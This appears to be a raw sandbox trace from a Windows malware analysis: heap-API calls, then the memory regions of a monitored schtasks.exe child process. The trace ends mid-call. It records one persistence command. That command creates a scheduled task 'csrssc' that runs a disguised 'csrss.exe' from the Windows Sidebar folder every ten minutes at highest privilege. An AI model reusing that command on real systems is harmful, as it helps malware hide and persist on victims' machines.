1 [0058.636] GetProcessHeap () returned 0x60000 [0058.636] GetProcessHeap () returned 0x60000 [0058.636] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd20) returned 1 [0058.636] GetProcessHeap () returned 0x60000 [0058.636] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd20) returned 0x20 [0058.637] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd20 | out: hHeap=0x60000) returned 1 [0058.637] GetProcessHeap () returned 0x60000 [0058.637] GetProcessHeap () returned 0x60000 [0058.637] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x77c00) returned 1 [0058.637] GetProcessHeap () returned 0x60000 [0058.637] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x77c00) returned 0x30 [0058.638] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x77c00 | out: hHeap=0x60000) returned 1 [0058.638] GetProcessHeap () returned 0x60000 [0058.638] GetProcessHeap () returned 0x60000 [0058.638] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cea0) returned 1 [0058.638] GetProcessHeap () returned 0x60000 [0058.638] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cea0) returned 0x20 [0058.639] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cea0 | out: hHeap=0x60000) returned 1 [0058.639] GetProcessHeap () returned 0x60000 [0058.639] GetProcessHeap () returned 0x60000 [0058.639] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6c0) returned 1 [0058.639] GetProcessHeap () returned 0x60000 [0058.639] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d6c0) returned 0x16 [0058.639] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6c0 | out: hHeap=0x60000) returned 1 [0058.639] GetProcessHeap () returned 0x60000 [0058.639] GetProcessHeap () returned 0x60000 [0058.639] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce70) returned 1 [0058.639] GetProcessHeap () returned 0x60000 [0058.639] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce70) returned 0x20 [0058.640] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce70 | out: hHeap=0x60000) returned 1 [0058.640] GetProcessHeap () returned 0x60000 [0058.640] GetProcessHeap () returned 0x60000 [0058.640] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6e0) returned 1 [0058.640] GetProcessHeap () returned 0x60000 [0058.640] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d6e0) returned 0x16 [0058.640] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6e0 | out: hHeap=0x60000) returned 1 [0058.640] GetProcessHeap () returned 0x60000 [0058.640] GetProcessHeap () returned 0x60000 [0058.640] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce40) returned 1 [0058.640] GetProcessHeap () returned 0x60000 [0058.640] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce40) returned 0x20 [0058.641] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce40 | out: hHeap=0x60000) returned 1 [0058.641] GetProcessHeap () returned 0x60000 [0058.641] GetProcessHeap () returned 0x60000 [0058.641] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x99c40) returned 1 [0058.641] GetProcessHeap () returned 0x60000 [0058.641] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x99c40) returned 0x82 [0058.642] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x99c40 | out: hHeap=0x60000) returned 1 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce10) returned 1 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ce10) returned 0x20 [0058.642] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ce10 | out: hHeap=0x60000) returned 1 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d720) returned 1 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d720) returned 0xe [0058.642] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d720 | out: hHeap=0x60000) returned 1 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cde0) returned 1 [0058.642] GetProcessHeap () returned 0x60000 [0058.642] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cde0) returned 0x20 [0058.643] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cde0 | out: hHeap=0x60000) returned 1 [0058.643] GetProcessHeap () returned 0x60000 [0058.643] GetProcessHeap () returned 0x60000 [0058.643] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d740) returned 1 [0058.643] GetProcessHeap () returned 0x60000 [0058.643] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d740) returned 0xc [0058.643] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d740 | out: hHeap=0x60000) returned 1 [0058.643] GetProcessHeap () returned 0x60000 [0058.643] GetProcessHeap () returned 0x60000 [0058.643] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdb0) returned 1 [0058.643] GetProcessHeap () returned 0x60000 [0058.643] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cdb0) returned 0x20 [0058.644] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cdb0 | out: hHeap=0x60000) returned 1 [0058.644] GetProcessHeap () returned 0x60000 [0058.644] GetProcessHeap () returned 0x60000 [0058.644] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d760) returned 1 [0058.644] GetProcessHeap () returned 0x60000 [0058.644] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d760) returned 0xe [0058.644] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d760 | out: hHeap=0x60000) returned 1 [0058.644] GetProcessHeap () returned 0x60000 [0058.644] GetProcessHeap () returned 0x60000 [0058.644] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd80) returned 1 [0058.644] GetProcessHeap () returned 0x60000 [0058.644] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd80) returned 0x20 [0058.645] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd80 | out: hHeap=0x60000) returned 1 [0058.645] GetProcessHeap () returned 0x60000 [0058.645] GetProcessHeap () returned 0x60000 [0058.645] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d780) returned 1 [0058.645] GetProcessHeap () returned 0x60000 [0058.645] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d780) returned 0x10 [0058.645] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d780 | out: hHeap=0x60000) returned 1 [0058.645] GetProcessHeap () returned 0x60000 [0058.645] GetProcessHeap () returned 0x60000 [0058.645] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd50) returned 1 [0058.645] GetProcessHeap () returned 0x60000 [0058.645] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cd50) returned 0x20 [0058.645] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cd50 | out: hHeap=0x60000) returned 1 [0058.645] GetProcessHeap () returned 0x60000 [0058.645] GetProcessHeap () returned 0x60000 [0058.645] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb50) returned 1 [0058.645] GetProcessHeap () returned 0x60000 [0058.646] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bb50) returned 0x18 [0058.646] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb50 | out: hHeap=0x60000) returned 1 [0058.646] GetProcessHeap () returned 0x60000 [0058.646] GetProcessHeap () returned 0x60000 [0058.646] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75af0) returned 1 [0058.646] GetProcessHeap () returned 0x60000 [0058.646] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75af0) returned 0x20 [0058.646] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75af0 | out: hHeap=0x60000) returned 1 [0058.646] GetProcessHeap () returned 0x60000 [0058.646] GetProcessHeap () returned 0x60000 [0058.646] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b20) returned 1 [0058.646] GetProcessHeap () returned 0x60000 [0058.646] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b20) returned 0x20 [0058.647] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b20 | out: hHeap=0x60000) returned 1 [0058.647] GetProcessHeap () returned 0x60000 [0058.647] GetProcessHeap () returned 0x60000 [0058.647] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b50) returned 1 [0058.647] GetProcessHeap () returned 0x60000 [0058.647] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b50) returned 0x20 [0058.647] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b50 | out: hHeap=0x60000) returned 1 [0058.647] GetProcessHeap () returned 0x60000 [0058.647] GetProcessHeap () returned 0x60000 [0058.647] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b80) returned 1 [0058.647] GetProcessHeap () returned 0x60000 [0058.647] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b80) returned 0x20 [0058.648] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b80 | out: hHeap=0x60000) returned 1 [0058.648] GetProcessHeap () returned 0x60000 [0058.648] GetProcessHeap () returned 0x60000 [0058.648] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb70) returned 1 [0058.694] GetProcessHeap () returned 0x60000 [0058.694] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bb70) returned 0x18 [0058.694] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb70 | out: hHeap=0x60000) returned 1 [0058.694] GetProcessHeap () returned 0x60000 [0058.694] GetProcessHeap () returned 0x60000 [0058.694] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75bb0) returned 1 [0058.694] GetProcessHeap () returned 0x60000 [0058.694] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75bb0) returned 0x20 [0058.695] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75bb0 | out: hHeap=0x60000) returned 1 [0058.695] GetProcessHeap () returned 0x60000 [0058.695] GetProcessHeap () returned 0x60000 [0058.695] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c40) returned 1 [0058.695] GetProcessHeap () returned 0x60000 [0058.695] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c40) returned 0x20 [0058.696] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c40 | out: hHeap=0x60000) returned 1 [0058.696] GetProcessHeap () returned 0x60000 [0058.696] GetProcessHeap () returned 0x60000 [0058.696] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ca0) returned 1 [0058.696] GetProcessHeap () returned 0x60000 [0058.696] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ca0) returned 0x20 [0058.696] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ca0 | out: hHeap=0x60000) returned 1 [0058.696] GetProcessHeap () returned 0x60000 [0058.696] GetProcessHeap () returned 0x60000 [0058.696] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75d00) returned 1 [0058.696] GetProcessHeap () returned 0x60000 [0058.696] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75d00) returned 0x20 [0058.697] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75d00 | out: hHeap=0x60000) returned 1 [0058.697] GetProcessHeap () returned 0x60000 [0058.697] GetProcessHeap () returned 0x60000 [0058.697] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75d30) returned 1 [0058.697] GetProcessHeap () returned 0x60000 [0058.697] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75d30) returned 0x20 [0058.698] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75d30 | out: hHeap=0x60000) returned 1 [0058.698] GetProcessHeap () returned 0x60000 [0058.698] GetProcessHeap () returned 0x60000 [0058.698] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb90) returned 1 [0058.698] GetProcessHeap () returned 0x60000 [0058.698] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bb90) returned 0x18 [0058.698] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb90 | out: hHeap=0x60000) returned 1 [0058.698] GetProcessHeap () returned 0x60000 [0058.698] GetProcessHeap () returned 0x60000 [0058.698] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c70) returned 1 [0058.698] GetProcessHeap () returned 0x60000 [0058.698] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c70) returned 0x20 [0058.699] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c70 | out: hHeap=0x60000) returned 1 [0058.699] GetProcessHeap () returned 0x60000 [0058.699] GetProcessHeap () returned 0x60000 [0058.699] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb10) returned 1 [0058.699] GetProcessHeap () returned 0x60000 [0058.699] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bb10) returned 0x18 [0058.699] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb10 | out: hHeap=0x60000) returned 1 [0058.699] exit (_Code=0) Thread: id = 99 os_tid = 0xed8 Process: id = "10" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3f2f7000" os_pid = "0xedc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1723 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1724 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1725 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1726 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1727 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1728 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1729 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1730 start_va = 0xff690000 end_va = 0xff6d7fff monitored = 1 entry_point = 0xff6b966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1731 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1732 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1733 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1734 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1735 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1736 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1737 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1738 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1739 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1740 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1741 start_va = 0x220000 end_va = 0x286fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1742 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1743 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1744 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1745 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1747 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1748 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1749 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1750 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1751 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1752 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1753 start_va = 0x290000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1754 start_va = 0x290000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1755 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1756 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1757 start_va = 0x3f0000 end_va = 0x577fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1758 start_va = 0x150000 end_va = 0x178fff monitored = 0 entry_point = 0x151010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1759 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1760 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1761 start_va = 0x580000 end_va = 0x700fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 1762 start_va = 0x710000 end_va = 0x1b0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 1763 start_va = 0x150000 end_va = 0x161fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1764 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1765 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1766 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1767 start_va = 0x1b10000 end_va = 0x1ddefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1768 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1769 start_va = 0x1de0000 end_va = 0x1e5cfff monitored = 0 entry_point = 0x1decec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1770 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1771 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1772 start_va = 0x1de0000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 1773 start_va = 0x1f10000 end_va = 0x1feefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 1774 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1777 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 1778 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1779 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1780 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 1781 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1782 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1783 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1784 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1785 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 100 os_tid = 0xee0 [0058.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21fc60 | out: lpSystemTimeAsFileTime=0x21fc60*(dwLowDateTime=0x4bfa0640, dwHighDateTime=0x1d9eb0c)) [0058.451] GetCurrentProcessId () returned 0xedc [0058.451] GetCurrentThreadId () returned 0xee0 [0058.451] GetTickCount () returned 0x17643ca [0058.451] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x21fc68 | out: lpPerformanceCount=0x21fc68*=2486493402547) returned 1 [0058.451] GetModuleHandleW (lpModuleName=0x0) returned 0xff690000 [0058.451] __set_app_type (_Type=0x1) [0058.451] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff6b972c) returned 0x0 [0058.451] __wgetmainargs (in: _Argc=0xff6d1240, _Argv=0xff6d1250, _Env=0xff6d1248, _DoWildCard=0, _StartInfo=0xff6d125c | out: _Argc=0xff6d1240, _Argv=0xff6d1250, _Env=0xff6d1248) returned 0 [0058.452] _onexit (_Func=0xff6c2ab0) returned 0xff6c2ab0 [0058.452] _onexit (_Func=0xff6c2ac4) returned 0xff6c2ac4 [0058.452] _onexit (_Func=0xff6c2afc) returned 0xff6c2afc [0058.452] _onexit (_Func=0xff6c2b58) returned 0xff6c2b58 [0058.453] _onexit 